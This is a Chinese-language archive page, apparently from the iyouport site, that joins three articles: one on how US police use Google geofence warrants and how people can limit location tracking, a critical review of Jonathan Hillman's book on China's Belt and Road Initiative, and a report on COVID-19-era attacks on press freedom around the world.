为了遵守这些要求，谷歌会针对数百万用户进行搜索，以确定他们是否在警方调查的时间段内出现在某个地点附近。

“殖民时代的一般手令授权执法部门可以挨家挨户寻找证据”，Rumold 说，“而现如今你要逐个搜查谷歌用户，搜索他们的位置记录。这是史无前例的。”

结果会返回一堆ID号。然后，警方会挑选某些他们认为可疑的设备，

以获得更具体的信息。

在2019年12月的一份法庭文件中，谷歌表示，**Sensorvault** 数据库提供的数据往往比电话塔的定位记录更准确。这是因为它的位置数据并不只来自一个来源，而是**GPS**信号、**Wi-Fi**网络、蓝牙信标和手机塔数据的组合。

2、警察多久使用一次这些数据？

「图」

地理围栏搜查在警察中越来越受欢迎。

从2017年到2018年，对谷歌的地理围栏搜查请求增加了**15**倍。该公司在法庭文件中表示，第二年，这个数字又增加了五倍。纽约时报2019年4月的一份报告发现，谷歌每周收到的请求多达180次。

据《福布斯》2019年12月的报道，在酒精烟草火器和爆炸物局（ATF）的调查中，谷歌提供了反向定位搜索1500个电话位置的记录。

在明尼苏达州，KSTP-TV 发现，从2018年到2019年，该州的地理围栏搜查增加了一倍多。大多数请求涉及非暴力犯罪。在纽约，曼哈顿地区检察官还使用反向地理定位搜查来获取反法西斯分子和极右翼组织 The Proud Boys 斗殴地点附近所有出现的电子设备的信息，以确定相关人员的身份。

谷歌在2019年收到了超过**15.6**万个政府索取用户信息的请求，但该公司没有细分出其中有多少是来自地理围栏搜查。

3、如何知道您自己是否已经被地理围栏搜查捕捞？

「图」

如果您的数据被收集并作为地理围栏搜查令的一部分交给了警察，谷歌应该通知你。

据美国全国广播公司新闻报道，对于许多无辜的人来说，这个通知可能是一个震惊，就像一个骑着自行车的人经过一个被盗的家庭门口。

但是，这些文件往往可以被封存或被禁言，这将阻止谷歌通知人们他

们的数据已经被提供给了警方。警方声称这样做有时是为了防止正在进行的调查被揭露。

简单说，您可能无法知道自己的数据已经被警察拿走了。

4、警方有多容易获得这些搜查令？

「图」

您可能会认为一个横扫整个地区的搜查令很难获得。但是，有了地理围栏搜查这个名号，警方甚至都不需要一个嫌疑人的名字，就能让法官签字。

在2019年弗吉尼亚州警方的一个搜查令申请中，可能的原因包括 “看到嫌疑人手里有一部手机” …… 几乎任何走在街上的人都拿着手机好吧 …… 结果是，仅仅因为这样，法官就批准了对该地区的全面搜查令，这使得谷歌交出了请求时间段内19人的手机定位数据。

来自明尼苏达州公共广播电台的一份报告发现，法官在短短4分钟内就签署了地理围栏搜查令，有时当局从来没有解释过有多少人将被卷入搜查、或区域有多大。

5、这些手令是否受到立法者的挑战？

「图」

联邦法律并没有禁止或限制这类搜查令，但州政府官员和律师正在质疑其合法性。

在纽约，州参议员 Zellnor Myrie 和 Dan Quart 在4月提出了一项禁止地理定位搜查令的法案。如果能通过，这将是全国唯一一部阻止这种做法的法律。

“它不仅会禁止反向地理位置搜查，还会阻止官员规避搜查令，只需从数据经纪人那里购买这些信息”，监视技术监督项目的 Cahn 说。

全国刑事辩护律师协会也在弗吉尼亚州的一个案件中挑战了地理围栏搜查的合宪性。该组织认为，这种监视是违宪的，因为请求的范围太广。

国会就其 Sensorvault 数据库以及如何与第三方共享的问题提出了质

疑，但是，没有具体解决地理围栏搜查令的问题。

6、这些数据会被误读或具有误导性吗？

「图」

由于这些搜查令上没有具体的个人或利益相关者的名字，因此，由此产生的调查往往会波及非常多无辜者。

当曼哈顿地区检察官办公室申请地理围栏搜查令时，谷歌给出了两个人的数据，结果发现他们是 Proud Boys 和 Antifa 斗殴事件发生地点附近的无辜旁观者。这两个人很幸运没有被捕，但并不是每个人都有这样的结局。

在时报的调查中，一名亚利桑那州的男子因涉嫌谋杀被捕，所谓的依据就是地理围栏搜查令 —— 他恰巧出现在杀人案事发地点附近。结果是，他在监狱里呆了一周，调查人员才找到了证明他无罪的证据。在此期间，他失去了工作，汽车也没了。

谷歌还在法庭文件中表示，提供的数据并不完全准确。 该公司表示，它估计的准确率为**68%**。

“因此，当谷歌被迫根据地理围栏请求返回数据时，有可能有些用户的位置估计在搜查令所描述的半径内 (其数据因此被包含在交给警察的范围内)，但实际上此人却在该范围之外”，谷歌在文件中说。

如果你只是使用谷歌地图寻找商店，这可能是一个小小的不便，但是，如果在刑事诉讼中使用这些错误的数据，那就是一个天大的冤案。

7、如何防止我的数据被这样收集？

「图」

简短的答案是，如果你要去参加抗议活动、或任何你不想被监视的情况下，请关闭手机位置服务，关闭您的Wi-Fi、蓝牙，设置为飞行模式。

📌 完整防御方法在上文中👆。

👉 但是有很多被地理围栏搜查令捕获的人，都是在从事一些没有什

么理由认为自己会被监视的活动 —— 比如 去骑自行车出去玩，去银行，或者在自己的社区开车等等。

并且这些搜查请求也不只是向谷歌提出的。曼哈顿地区检察官的搜查令也发给了 **Lyft** 和 **Uber** 等公司。苹果收到的反向地理定位请求没有谷歌那么多，因为它存储位置数据的方式和 Sensorvault 不一样。

而即使警方不向谷歌或其他科技公司索取位置数据，他们也总能从数据经纪人那里购买到这些信息。📌 这些数据经纪人搜集人们的移动信息声称追踪 **COVID-19**，但你要知道，这些数据也可以被警察用来追踪异议和反抗者。

- 推荐报告《Covid-19 与民主的未来：个人主义和集体主义之间真的需要非此即彼吗？》

数据经纪人从天气服务和手机游戏等看似无害的应用中获取位置数据，这个细节往往隐藏在通常不被人们阅读的隐私政策中。

今年2月，《华尔街日报》报道称，联邦机构已经转向位置数据经纪人购买这些信息，而不是获得搜查令。Gizmodo 的一份报告概述了你的手机数据被广告商获取的方式，如何与你的身份挂钩，并提供给警方。

总之，除非您能练习在重要的外出中不带手机或者经常让设备处于飞行模式，否则永远会有被监视的风险。〇

Geofence warrants: How police can use protesters' phones against them

原文

Books 条条大路通北京 - iyouport

你应该了解的现实你的反乌托邦在线生活阴云密布维稳面面观

【2021年6月2日存档】资本到哪里，冲突就到哪里

【按】关于“一带一路”究竟是什么，或者说“中国到底想干什么”的叙事，混乱得一塌糊涂。各方都在推动符合自己的利益的叙事，而大众只是在简单地复述声量最高的那些说法。

其中中国异议人士的观点有些自相矛盾，一方面他们坚称中国是真正无能的和装13的弱鸡，所谓的“崛起”只是神话；而另一方面又认为，美国与中国的“竞争”是必要的、对中国的打压是及时的，以避免北京这个新势力霸占世界。那么中国究竟是真弱鸡，还是真强蛮？如果中国没有真强蛮，美国是在干什么？

不论如何，唯一可以确定的是，持不同观点的各方都没有给出充分的证据；证据，就是这本2020年的新书想要解决的问题。

本文来自《The Emperor’s New Road: China and the Project of the Century》耶鲁大学出版社，2020，作者 Jonathan E. Hillman，您可以在这里下载这本书：https://www.patreon.com/posts/tiao-tiao-da-lu-48325016

如果您在阅读中有不理解的地方，可参见我们去年底的对话，关于中美，我们做了很多解释。请暂时忘记您的个人角色身份，这里的主题是抵制霸权，不论是谁坐在这个霸权位置上。

- ○ 本文中的“我们”指的是美国。

CHI-NAH，最简单的也是最经济的特朗普模仿，用力敲击着每一个音节，倾手向前，稍作停顿。也许也是最具有话题性的。他告诉我们，作为一个国家，我们所做的一切都是失败的，就在金色的自动扶梯之旅拉开了他2016年竞选的序幕那一刻。他们正在杀死我们，那个“人民共和国”—— 特朗普宣称：“I beat China all the time.”

希拉里·克林顿可能不会像特朗普在竞选期间那样将中美贸易关系描述

为“强奸”或“世界历史上最大的盗窃”，也不一定会像特朗普上台后那样，对数千亿美元的中国产品征收关税。希拉里可能不会对中国公司实施制裁，也不会写下行政命令，禁止美国人向有军事关系的中国公司投资。（可惜，很大程度上这只是口头而已，否则你怎么解释甲骨文在干什么？或者谷歌和IBM？…… 在我们的 列表-4 “作恶者谁在帮中国” 板块中看到更多）

不过，早在**2011**年，希拉里就已经开始准备成为第一位正经八百的“中美总统”了，在《外交政策》上她宣布了“美国的太平洋世纪”；美国需要“加快努力，以适应新的全球现实”，当时的这位国务卿写道。2010年代是关于开放亚洲市场的，特别是那些受到严重保护的中国市场，同时通过使用导弹驱逐舰在南中国海开展自由航行行动来“维护和平与安全”。希拉里坚持认为，即使美国的霸权需要通过抵制中国的崛起中才能获得支撑，我们也肯定不会输。在一段“前特朗普式”的文字中她写道：

我到处听到，这个世界仍然期待着美国的领导。我们的军队是迄今为止最强的，我们的经济体是迄今为止世界上最大的。我们的工人是最有生产力的。我们的大学享誉世界。因此，毫无疑问，美国有能力像上个世纪一样，在本世纪继续确保和维持我们的全球领导地位 ……

希拉里试图赎回华盛顿几十年来对中国的描述。从尼克松访华开始，到2001年中国加入世界贸易组织，美国的政策制定者们一直在对这个新兴大国的成功欢呼雀跃，仿佛它证明了美国主导的国际体系的正确性。正如当时作为参议员的乔·拜登在当年的中国之行后兴奋地说：“大国在不扩散核武器条约、人权和贸易领域都遵守国际准则。”

两党在中国问题上的赌博将被证明是一个错误的计算。按照福山对黑格尔的不良印象，认为中国只是像其他冷战对手一样会向国际“世界精神”屈服是愚蠢的。中国政权在面对国际压力时可以保持多大的经济主权能力是不可预见的，它愿意为本土工业提供多么广泛的国家支持也是不可预见的。

到了2010年代，当克林顿着手向东转移时，意味着华盛顿已经开始看到中国心术不正的傲慢。它现在面对的是习近平的“中国梦”，即不受约束的技术官僚式的国家干预，带来全民性的国内物质进步。“有史以来最壮观的凯恩斯主义承诺”，正如史学家亚当·图兹 (Adam Tooze) 所描述的那样。“习近平的梦想”是那种“中国梦“，习近平的梦想可能会引领那个国家从三十年近10%的年GDP增长中走出来，在世界舞台上更有力地彰显自己。

现在华盛顿在中国问题上有了一个单一的、鹰派的政党。民主党人争相配合特朗普的虚张声势，尽管他们已经摆脱了特朗普最近对习近平的忧郁感情。(特朗普称“我和习的关系非常非常好，我已经很久没有和他说话了”.)

无论是因为知识产权盗窃还是侵犯人权，现在是时候强硬起来了，尤其是对习近平这样一个身上没有“丁点儿民主筋骨”的“暴徒”来说——这是拜登在去年2月的一次初选辩论中所说的。(这预示着最后一场总统辩论的基调，主持人问拜登：“如果你是总统，你会让中国付出代价吗？请具体说明，那会是什么样的？”)

在共和党中，“中国病毒”感染的恐华症继续快速发展，泰德·克鲁兹最近在质询拜登提名的联合国大使人选时，宣布中国是“美国面临的唯一最大的地缘政治威胁”。同时，基辛格还宣称我们正处于新一轮冷战的山脚下，甚至濒临一战规模的灾难。

中国不再是“有前途的贸易伙伴”，现在是一个不透明的威胁，充斥着货币囤积和技术窃取，偷窃工作岗位和病毒制造者，以及非自然的国有企业在国家的命令下秘密地实行一种神秘的“军民融合”。（别管 In-Q-Tel 了——由CIA资助的风险投资公司，投资于各种监视技术——或硅谷的大部分地区）。更糟糕的是，中国这个大国正在做着大国的事：在南海挖人工岛，资助厄瓜多尔的办公楼和大坝以换取石油，并主导整个非洲的电信业，抵御西方对华为的指控。华盛顿的新共识是我们不会再赢了。忘了美国的“太平洋世纪”吧，我们能阻止全球进入“中国世纪”吗？来自德国墨卡托中国研究中心（MERICS）

二十一世纪是中国第5次鼓励自己“走出去”。1976年毛泽东死后，共产党小心翼翼地开始了市场改革，使国家在20年内摆脱了极端贫困；邓小平将党对国家主导的资本主义的谨慎态度描述为“摸着石头过河”。在这样相对谨慎的内部发展之后，在2001年加入WTO的背景下，中国迅速开始了在国际舞台上确立自己地位的行动。出口激增在欧美国家引起了突如其来的“中国冲击”，这些国家的制造商未能抵御中国的竞争。与此同时，中国加大了对外直接投资的力度。其对外出口流量从2000年代的数百亿上升到2010年代的数千亿。中国的银行忙于放贷，企业疯狂建设，出口激增 …… 等等。

今天的全球“中国”是什么样子？从俄亥俄州代顿到俄罗斯的布拉戈维申斯克再到台北，答案当然不同。最近，这个国家表面上简化了这个画面，在2013年启动的“一带一路BRI”倡议的主持下，在约130个国家集结（并大幅加速集结）力量。**BRI**公开宣称的目标既雄心勃勃，又令人发指：例如，旨在“建立全维度、多层次、复合型的互联

互通网络”。因此，它的范围很广，涵盖了从金融政策到能源管道建设、再到文化软实力，也就是习近平所说的“民心相通”。

由于其过于雄心勃勃和明显的不透明，BRI已经成为那些试图定义“中国世纪”的人的一个墨迹测验。它是一匹满足伙伴国投资需求的野马，而其他国家却很少介入；它也是世界银行和世贸等组织与中国爆炸性增长搭上关系的机会。银行看到了一头现金牛，集结**BRI**团队，在各种地缘政治方程的两边下手；骗子们在臭名昭著的建筑、运输和采掘等腐败行业中发现了一个非凡的机会。对其批评者来说，**BRI**已经成为帝国主义的委婉说法，使其成为奇怪的后殖民主义伙伴，克林顿和前司法部长威廉·巴尔都分别对中国的“新”和“现代”殖民主义提出警告。

正如乔纳森·希尔曼（Jonathan E. Hillman）在《皇帝的新路》一书中所写的那样，无论是诈骗还是馈赠，BRI主要是一种基础设施事务，同时也是“说服各国参与的胡萝卜，是中国国家冠军的战利品，也是西方最焦虑的根源”。

中国已经承诺通过BRI向外国基础设施投资共计1万亿美元，经通胀调整后，这将是美国在马歇尔计划上的花费的**7**倍，也是特朗普政府提出但未能说服国会在国内基础设施上提供的资金数额的**5**倍。“对比是惊人的“，希尔曼写道，发出了所谓的美国失败者的沉闷音符，“世界上曾经领先的大国不再领先，而崛起的大国却为一切的中心划定了路线”。

已经有数千亿美元用于BRI项目，最大的约600亿美元用于中巴经济走廊，这是连接中国和巴基斯坦位于阿拉伯海的瓜达尔港的一系列项目。诚然，这些数字的取得有一定难度。既没有官方的BRI地图或清单，也没有官方对BRI项目的准确定义。中国在非参与国资助的项目有许多相同的特点；在**2013**年**BRI**启动前几年启动的项目现在也被算作项目数量。外国分析人士注意到，中国媒体的出版物可能没有将较小的项目列入名单，虽然他们的数据库对贷款进行了计量，但没有计算私人资助的项目。

希尔曼是基辛格的老巢 —— 战略与国际研究中心—— 的高级研究员，他把自己说成是一个现代北京的研究者，他厌倦了关于**BRI**的道听途说，决定亲自走一圈。

《皇帝的新路》这本书一开始，希尔曼写道他“出于好奇”顺道参加了2017年的BRI论坛，假装他没有在美国贸易代表办公室担任过政策顾问，也没有在2015年为美国国家安全战略和总统贸易议程做出贡

献，更没有在CSIS工作过。于是，他抛弃了挂绳式的世界主义，而选择了繁琐的签证检查和安全帽之旅，试图在“中国对外活动的高层观点和当地更杂乱的现实之间”提供一个“中间观察点”。他开始了十六个国家的深水港和火车场的实地考察，乘坐火车从中国西部边境经中亚一直到布达佩斯，从南亚和东南亚到海外，最后在东非结束。

中国的土地欲望贯穿中亚。希尔曼据此开始了他贿赂哈萨克警察的旅程，他的目的地是霍尔果斯无水港项目，这是一个自2015年开始运营的尖端工业区和物流中心。该项目被宣传为“新迪拜”，到2020年将创造约5万个工作岗位；它是哈萨克斯坦成为中国一带一路的“枢纽”梦想的核心。然而，它所创造的就业岗位远没有承诺的那么多，如今它所处理的货物比大多数横跨中哈边境的其他此类设施还要少。

- 《在迪拜看到这个世界的肮脏》

希尔曼观察着空空如也的设施，对这个复兴的贯穿中亚的丝绸之路仍持怀疑态度。在他看来，中国在陆路贸易上进行了一场冒险的赌博，陆路贸易仍然比其海上等价物更加昂贵和缓慢。(2016年，中国和欧洲之间的贸易量中，只有不到百分之一是通过火车进行的；按重量计算94%、和按价值计算三分之二的贸易是通过海运方式进行的)。

这场赌博还没有得到回报，反腐的反弹也越来越大。该地区的公民并不是不知道，中国开发银行正在为这些地区的高速公路提供资金，据称已经向塔吉克斯坦总统的女婿输送了数百万美元，或者吉尔吉斯斯坦的精英们抬高水泥价格给自己捞回扣。

与通常要求政府和市场改革的美国不同，北京提供的资金附加条件较少，允许中国公司在海外追求赤裸裸的交易议程。虽然中国公司并不是唯一在兜售影响力的公司，但希尔曼称，西方国家在监管中国 业务方面更加警惕。

中国最大的承诺投资组合集中在中巴经济走廊上，其中包括一条超长、超高 (且昂贵) 的管道，穿越险峻的卡拉科拉姆山脉，以及瓜达尔港的另一个“迪拜2.0”。它与巴基斯坦其他地区基本脱节，相对闲置，梦想中的阿联酋式豪华陷阱未能实现。

瓜达尔港现在似乎主要激怒了中国的观察家们，他们对中国将商业港口转变为海军基地感到焦虑。这种入侵行为往往被那些积极与中国打交道的政客所谴责。例如，马来西亚政治家马哈蒂尔·穆罕默德（Mahathir Mohamad）在2018年进入他的第二个总理任期时，援引了中国对其国家主权的威胁。“他们更强大，我们无法与他们抗衡”，

穆罕默德在获胜后告诉CNN说，“我们如何从他们的财富和权力中获益？”

马哈蒂尔·穆罕默德出现在第二年的BRI论坛上，澄清称“一带一路的理念很伟大”，然后重新谈判了几个价值数十亿美元的项目，将运营风险转回给中国。“反对、谈判和交易的循环，将在东南亚及其他地区继续进行”，希尔曼写道：

候选政客只在那些对自己的议程有帮助的情况下才会对中国进行抨击。然而，在他们上任后，他们撤销现有项目的选择是有限的，吸引其他新的外国投资的选择也是有限的。他们和他们的前任一样急于宣布交易，但他们需要显得“强硬”，并履行他们审查过去交易的承诺。因此，他们威胁要取消项目，中国就会来到谈判桌前，双方的激励措施仅仅旨在鼓励挽救交易和挽回面子。

这种重新谈判的周期对大多数中国观察家来说都是失落的，他们倾向于支持神话般的恶性“债务外交”，副总统彭斯在2018年的一次演讲中把它描绘成对天真的国家的协调性攻击。经常被提及的是斯里兰卡的汉班托塔港，该港在过去十年中主要是靠中国提供的贷款发展起来的，贷款利率高于多边标准，贷款期限也短于多边标准。斯里兰卡的债务在2010年代初增加了三倍，作为对斯里兰卡债务减免的约10亿美元的回报，该港口的控股权和99年的租约被授予一家可怕的中国国有企业。就这一切而言，它一直是一场商业灾难，三千万台高档的起重机仅处理了斯里兰卡总流量的不到百分之一。

这一叙述忽略了斯里兰卡的政客们自己是如何推动建设的，尤其是汉班托塔的马欣达·拉贾帕克萨（Mahinda Rajapaksa），他曾长期承诺将航运带到他的家乡。“大型项目的想法来来去去，但很少会死掉”，希尔曼引用了一句话，不过“每个大项目都需要一个强有力的政治赞助人”。当拉贾帕克萨利用2004年的海啸和该国北部根深蒂固的内战在2005年的大选中大获全胜时，宣称要带来“光荣的和平”，建设一个新的斯里兰卡，那个时候他很乐意答应中国。印度和亚洲开发银行都拒绝为他的夙愿提供资金，只能由中国出面。

希尔曼对债务陷阱外交的主流叙事不以为然，他认为这掩盖了一个更为平庸的现实。中国官员急于赚钱为自己的同胞拉拢生意，在没有进行尽职调查的情况下就批准项目贷款；中国企业急于获得报酬，尽管他们项目的长期商业可行性值得怀疑；无论是否存在连贯的发展计划，外国官员通常都乐于获得眼前的政治和财政利益。

“外交政策专家偶尔会在不存在战略的地方看到战略”，希尔曼写

道，“把竞争对手的行动看成比实际情况更协调。这个特例是，中国正在娴熟地规划了几十年、甚至几个世纪，而西方政治家却在为明天和下周的生存而努力”。

推论是，即使这些项目失败，中国也会赢 —— 这是不真实的，正如希尔曼不得不指出的那样。尽管中国可能很“强大”，但它和其他任何主要国际参与者一样，很容易遭受失误和批评。面对全球对虚无缥缈的“世纪工程”的反弹，习近平在2019年BRI论坛上的演讲中放弃了这个高大上的短语，转而使用全球管理语言，强调“优先级”和“执行力”等关键词。语言上的低调在经济上也得到了匹配，新的研究显示，中国最大的两家政策性银行的海外贷款从2016年的750亿美元减少到2019年的39亿美元。

可能是成长的烦恼。希尔曼认为，如果中国想成为一个大国，就必须遵守同样的规则，并允许更大的国际监督和监管。“世界上的主要债权人不是出于慈善，而是出于自身利益，在承受了单打独斗的声誉和财务后果后，才不得不约束自己”。瓜达尔（Gwadar）东湾高速公路

不过，中国现在已经和世界上的主要债权国很相似了。无论名义上共产党在运行着什么，这个世界上增长最快的主要经济体都与其巴黎俱乐部的竞争对手形成了令人沮丧的对比。

【注：巴黎俱乐部是一成立于1956年的国际性非正式组织，现时由全球最富裕的22个国家组成，专门为负债国和债权国提供债务安排，例如债务重组、债务宽减、甚至债务撤销。如经过多番努力仍未能改善债务问题，负债国通常由国际货币基金转介予巴黎俱乐部协助。从1983年至2005年3月，巴黎俱乐部达成的协议涉及债务金额4270亿美元。】

数百万人从国有部门下岗，终身就业和福利的“铁饭碗”被打破；大量的农民工阶层在难以置信的艰难条件下在城市中心追求工作机会，放弃了以家乡为基础的安全网，而这些安全网在任何情况下都越来越不够用。与此同时，根据**2020**年胡润富豪榜，中国现在拥有所有国家中最多的亿万富翁数量，并被预测（至少在冠状病毒之前）在未来几年内将以三倍于美国的速度铸造百万富翁。

中国的财富分配越来越像美国的地狱级不平等，难怪这个国家已经向外转，正如李静君在2017年出版的《全球中国的幽灵》一书中写道的，中国国家试图“解决一系列交织在一起的经济和政治问题 —— 产能过剩、资源安全、利润率下降，以及经济动荡带来的潜在社会不稳定”。

希尔曼自己也在理论上打擦边球，引用牛津词典对帝国的定义：“通过贸易、外交、军事或文化统治等方式，扩展和维持一个国家的权力或影响力”。耐人寻味的是，他的民族志在非洲结束了，在那里，中国的野心超越了基础设施。

非洲大陆的自然资源吸引着一个相对贫穷的工业强国，未来的出口市场前景也是如此，而正在老化的西方则将其经济埋在债务之下。当欧洲和北美在争论是否让中国科技进入时，中国企业已经在为非洲这个世界上增长最快的互联网市场服务了。是在吉布提而非斯里兰卡，中国建立了第一个海外海军基地。

无论是否是克林顿式的，关于殖民主义新变种的传言都显得有些空洞，正如李在《全球中国的幽灵》中所说的那样。她介绍了在依赖铜矿的赞比亚中中国矿业问题的民族志研究（无论是国有的还是私营的），该国将其矿山国有化只是为了1990年代再次将其私有化，因为该国在独立后数十年里一直在世界银行的贷款点挣扎。

李既不是助推者，也不是坦克手；她最近因为发表所谓“支持独立”的言论，被亲北京的报纸用香港的所谓国家安全法威胁。不过，她仍然对中国对非洲的殖民言论持怀疑态度。按照李的说法，“中国在非洲没有军事占领，没有拥有独家或主权贸易权的特许公司，没有劝诱改宗”—— 简而言之，没有证据表明“过去一两个世纪中所呈现的典型的伴随殖民主义的所有东西”。

2011年6月，在开始为期五天的非洲大陆之行时，克林顿国务卿曾在赞比亚卢萨卡电视台演播室警告说，中国人在复制早期的殖民者行为，对他们来说，“很容易进来，夺取自然资源，收买领导人，然后离开”。李的研究发现，中国国家资本的当务之急其实是倾向于获取原材料和建立稳定的政治关系，这使得该国更愿意与非洲国家和劳工力量谈判，甚至屈服于他们的指挥。(去年6月，中国宣布了一项债务减免计划，对象是许多挣扎在冠状病毒中的BRI伙伴，主要包括非洲的伙伴)。

这些都 *绝对不是*要宣称中国的无辜。李只是警告“不要轻易诉诸霸权、帝国和新殖民主义等一概而论的宏大论调”。不管是不是国有资本，中国资本就是资本，既没有不自然的恶意，也没有异常的良性。按照劳工学者贝弗利·西尔弗的格言：资本到哪里，冲突就到哪里。事实也是如此：2016年，肯尼亚一处建筑工地遭到工人冲击，造成十四名中国员工受伤，他们被所谓的缺乏工作机会激怒；2017年，汉班托塔签订九十九年的中国租约，引发了警方与担心被周边土地驱逐的斯里兰卡人之间的暴力冲突；次年，越南各地爆发大规模示威，反对潜

在的中国投资“友好型经济特区”，抗议者甚至冲击了胡志明市附近的一座政府大楼。

在**BRI**动荡之际，中国似乎正在寻求一位具有象征意义的美帝人物的帮助。2014年，特朗普“影子顾问”、黑水公司创始人埃里克·普林斯成为 Frontier Services Group 的董事长，这是一家总部位于香港的安保和物流公司，其最大股东是中国国有企业集团中信。

FSG现在在尼日利亚负责保护中资天然气管道、在柬埔寨为中国银行现金护卫队提供保安，并在国际社会的严密监视下，在新疆建设所谓的“培训中心”。

这似乎俘获了**BRI**在全球的安保需求。黑水公司的雇佣兵很可能会在令人担忧的情况下不受惩罚地行动，甚至在已经因屠杀而被定罪后再被即将离任的“皇帝”赦免，比如说，在尼苏尔广场杀死了十七名伊拉克平民、并导致二十四名平民受伤。

○□

原文

COVID-19不仅导致了反乌托邦的提升，还加速了新闻和言论自由度的全球性暴跌 - iyouport

维稳面面观

【2021年4月5日存档】逮捕、人身攻击、和武器化声称“假新闻”的审查法规，加剧了本已充满挑战的媒体和言论环境 ……

【按】本文作为去年另一份关于冠状病毒附带危机的全球性报告的补充版。去年的报告在这里看到《#COVID-19(84)冠状病毒如何让整个地球变成了反乌托邦地狱—包括但并仅仅是中国：长篇报告》。

在很短的时间内，COVID-19 大流行已经重塑了全世界大部分地区，并对记者和媒体机构提出了前所未有的新挑战。

在许多新闻自由记录已经很差的专制国家，政府滥用紧急措施进一步打击独立媒体，并加强对信息的控制。

在民主国家，通常更多的是对新闻界的攻击，健康危机造成了新的问题，并严重挑战了记者获取信息和追究当权者责任的能力。

同时，对网上错误信息的担忧为专制政府和民主政府都提供了新的“机会”，使其加紧审查和加强监控能力，进一步缩小了数字自由。

尽管寻求可靠新闻的读者和订户大量增加，但是由于缺乏广告收入，许多报纸也面临长期严重的经济压力，而许多较小的报纸则面临关闭。

去年底，国际新闻学会的 COVID-19 跟踪系统记录了总共162起与冠状病毒有关的侵犯新闻自由的事件，令人不安的是，根据国际新闻学会的数据，在监测到的所有侵权行为中，几乎有三分之一都涉及逮捕、拘留或指控报道该流行病的记者。

同时，记录了27个不同的审查案例，还有25个案例说明当局对信息获取的过度限制。

IPI执行主任 Barbara Trionfi 表示，综合来看，这些数据表明各国政府急于利用公共卫生危机来控制媒体信息，完全不顾人们对独立信息的渴求。

“在报道 COVID-19 大流行的过程中，全球各地的记者发现他们不仅面临着传染的风险，而且还面临着因报道病毒而被维稳部队逮捕、殴打或人身攻击或刑事指控的威胁。这为独立媒体的生存创造了一个更加恶劣的环境。”

“至关重要的是，危机期间对媒体施加的特殊限制不应成为常态化，不应超过眼前的健康危机，特别是在政府缺乏透明度、媒体无法接触到决策者、以及任何形式的监视阻碍新闻界的情况下。”

她还说：“与此同时，随着经济危机的即将到来，媒体面临的压力只会越来越大，这对小型独立媒体的打击最大。在许多国家，这些媒体是公正新闻的唯一来源，额外的经济压力只会加深政府对新闻界的控制，并导致未来当权者对媒体的攻击减少制衡。”

控制媒体的“新机会”

「图」

Trionfi 说，观察到的最明显的趋势之一就是，许多国家的政府滥用了这一流行病，通过过度的监管来加强对媒体的控制。

这里的一个明显的例子是，越来越多的国家通过或发布了针对虚假信息或所谓的 “假新闻” 的法律，这些法律很容易被滥用来扼杀批评。

到目前为止，国际新闻学会已经记录了16个案例，这些法律要么被通过，并令信息发布者受到不相称的惩罚，要么被用来删除网上有关冠状病毒的内容。

虽然其中一些法律是真诚的，但是明显考虑不周，而其他法律似乎是故意加强专制政权对新闻界镇压的武器库。

在欧盟成员国匈牙利，政府赋予总理维克托·欧尔班无限期的紧急权力，通过法令进行统治，并首次将传播所谓 “虚假” 或 “歪曲” 信息的行为定为刑事犯罪，标志着向全面信息控制又迈出了一步。

- 2018年《言论审查“六骑士”之一：假新闻，正在侵蚀东南亚国家民主的灵魂》

虽然菲律宾等一些国家已经禁止了专门针对冠状病毒的所谓“虚假信息”，但越南和阿尔及利亚等其他国家则利用这场危机匆忙通过法律，将更普遍的错误信息定为刑事犯罪，而且往往会受到重罚。

在土耳其，当局至少拘留了六名报道冠状病毒的记者，而在阿塞拜疆，政府则以危机为借口，将三名批评政府的记者投入监狱。

在埃及，目前有60多名记者被关在监狱里，政府封锁了反对派新闻网站，并取消了记者资格证书。

同时，全球十多个国家越来越多地使用有针对性的监控技术来追踪感染该疾病的人，这也对记者产生了寒蝉效应，并对消息来源保护构成了新的威胁。

由于在这些人满为患的监狱中感染的风险很高，IPI呼吁开罗和安卡拉的当局在COVID-19大流行期间释放所有记者。

区域趋势出现

「图」

在世界不同地区已观察到不同的趋势。

在美洲，唐纳德·特朗普（Donald Trump）和贾尔·博尔索纳罗（Jair Bolsonaro）等领导人已利用大流行作为借口，进一步侮辱重要的记者，抹黑媒体并破坏对媒体的信任。

在中东，持不同政见者的空间已经受到高度限制，四个不同国家的政府暂停了所有报纸的印刷和发行。

在约旦，维稳部队逮捕了一个电视频道的老板和新闻总监，只因该电视频道播放了对批评政府的失望居民的采访。

在伊拉克，当局禁止路透社三个月，因为它报道冠状病毒感染病例的数量比政府所承认的要高。

同时，在伊朗，在采取全面封锁措施的同时，警方还对报道该病毒的个别记者进行了传唤和审查。

在非洲，由于病毒袭击较晚，新闻学会记录了32起不同的侵犯媒体自由的事件。

乌干达、索马里和津巴布韦已经被记录了16起新闻工作者被当局殴打或拘留的报道事件。

正如新闻学会的研究所表明的那样，其中许多事件都涉及维稳部队粗暴地执行检疫措施。

再往东，许多亚洲国家利用新制定的“反假新闻”法律，在其高度数字化的新闻环境中加强互联网审查。

柬埔寨赋予洪森总理广泛的紧急权力，以监控电信和控制社交媒体，而缅甸则封锁了多个新闻网站，只因为这些网站在处理网上所谓的错误信息时令政府不满意。

在已经受到严厉审查的中国，共产党政府进一步加强了对互联网的监管，压制“非官方”媒体报道，并迫害在社交媒体上报道现实情况的公民记者。

并且，在其他人口众多的国家，如印度，IPI 迄今为止记录了最多的个人侵权行为，过度热心的警察实施封锁措施，殴打或不公正地拘留了8名媒体专业人员，导致媒体自由的恶化。

在欧洲，记者受到攻击的频率令人震惊。

意大利是受病毒影响最严重的国家之一，至少发生了三起对记者和电视工作人员进行人身攻击或严重言语攻击的事件。

在乌克兰和克罗地亚，报道与病毒有关的问题的记者在受到攻击后需要接受治疗。

虽然欧洲绝大多数逮捕事件被记录在案的是土耳其、俄罗斯和阿塞拜疆，但在塞尔维亚和科索沃也有记者被错误地拘留。

罗马尼亚等国家已经授权当局删除或关闭传播有关病毒的所谓“假新闻”的网站，没有任何机会上诉。

正如欧洲委员会促进保护新闻和记者安全平台的合作组织的一份新报告所发现的那样，这种大流行病有可能使过去对新闻自由的攻击变得正常化。

积极的消息是，欧洲各国政府宣布的一些不相称的规定后来已经被取消，或者通过民主检查、或者通过媒体和民间社会的强大压力。

继续杀害记者

「图」

虽然世界的注意力已经被冠状病毒所消耗，但过去的12个月已经证明了对记者来说的另一个致命的一年。

根据IPI的数据，自**2019**年**5**月以来，已有**53**名记者因工作而被杀害。其中**32**人被谋杀，这些有针对性的杀戮大多是由武装组织、国家维稳部队或有组织犯罪实施的（即 雇佣杀手）。

